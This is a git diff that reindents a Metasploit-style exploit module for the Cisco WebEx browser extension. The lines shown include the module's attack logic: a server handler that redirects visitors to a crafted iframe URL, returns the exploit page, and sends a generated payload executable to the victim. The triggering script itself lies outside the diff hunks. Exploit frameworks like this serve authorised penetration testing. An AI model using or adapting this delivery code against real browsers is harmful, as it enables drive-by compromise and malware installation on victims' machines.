diff --git a/modules/exploits/windows/browser/cisco_webex_ext.rb b/modules/exploits/windows/browser/cisco_webex_ext.rb
index 56adc25c585b..450948db0c0f 100644
--- a/modules/exploits/windows/browser/cisco_webex_ext.rb
+++ b/modules/exploits/windows/browser/cisco_webex_ext.rb
@@ -44,17 +44,17 @@ def initialize(info={})
         'DisclosureDate' => '2017-01-21',
         'DefaultTarget'  => 0
         ))
-end
+  end
 
-def setup
-  @payload_uri = "#{Rex::Text.rand_text_alphanumeric(8)}"
-  @payload_exe = "#{Rex::Text.rand_text_alpha(8)}.exe"
-  super
-end
+  def setup
+    @payload_uri = "#{Rex::Text.rand_text_alphanumeric(8)}"
+    @payload_exe = "#{Rex::Text.rand_text_alpha(8)}.exe"
+    super
+  end
 
-def exploit_html(cli, req_uri)
-  base_uri = "#{get_resource.chomp('/')}"
-  html = %Q~
+  def exploit_html(cli, req_uri)
+    base_uri = "#{get_resource.chomp('/')}"
+    html = %Q~
 <html>
 <head>
 <script>
@@ -93,25 +93,25 @@ def exploit_html(cli, req_uri)
 </html>
   ~
 
-  send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
-end
+    send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
+  end
 
-def on_request_uri(cli, request)
-  print_status("Got request: #{request.uri}")
-  print_status("From: #{request.headers['User-Agent']}")
+  def on_request_uri(cli, request)
+    print_status("Got request: #{request.uri}")
+    print_status("From: #{request.headers['User-Agent']}")
 
-  if request.uri =~ /cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b\.html/
-    print_status("Sending exploit html ...")
-    exploit_html(cli, request.uri)
-    close_client(cli)
-    return
-  elsif request.uri =~ /.*#{@payload_uri}$/
-    return if ((payload = regenerate_payload(cli)) == nil)
-    print_status("Sending payload ...")
-    send_response(cli, generate_payload_exe({ :code => payload.encoded }), { 'Content-Type' => 'application/octet-stream', 'Connection' => 'close' })
-  else
-    base_uri = "#{get_resource.chomp('/')}"
-    html = %Q~
+    if request.uri =~ /cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b\.html/
+      print_status("Sending exploit html ...")
+      exploit_html(cli, request.uri)
+      close_client(cli)
+      return
+    elsif request.uri =~ /.*#{@payload_uri}$/
+      return if ((payload = regenerate_payload(cli)) == nil)
+      print_status("Sending payload ...")
+      send_response(cli, generate_payload_exe({ :code => payload.encoded }), { 'Content-Type' => 'application/octet-stream', 'Connection' => 'close' })
+    else
+      base_uri = "#{get_resource.chomp('/')}"
+      html = %Q~
     <html>
     <head>
     <meta http-equiv="refresh" content="0; URL='#{get_resource}/cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html' />"
@@ -120,8 +120,8 @@ def on_request_uri(cli, request)
     </body>
     </html>
     ~
-    send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
-    close_client(cli)
-  end
+      send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
+      close_client(cli)
+    end
   end
 end
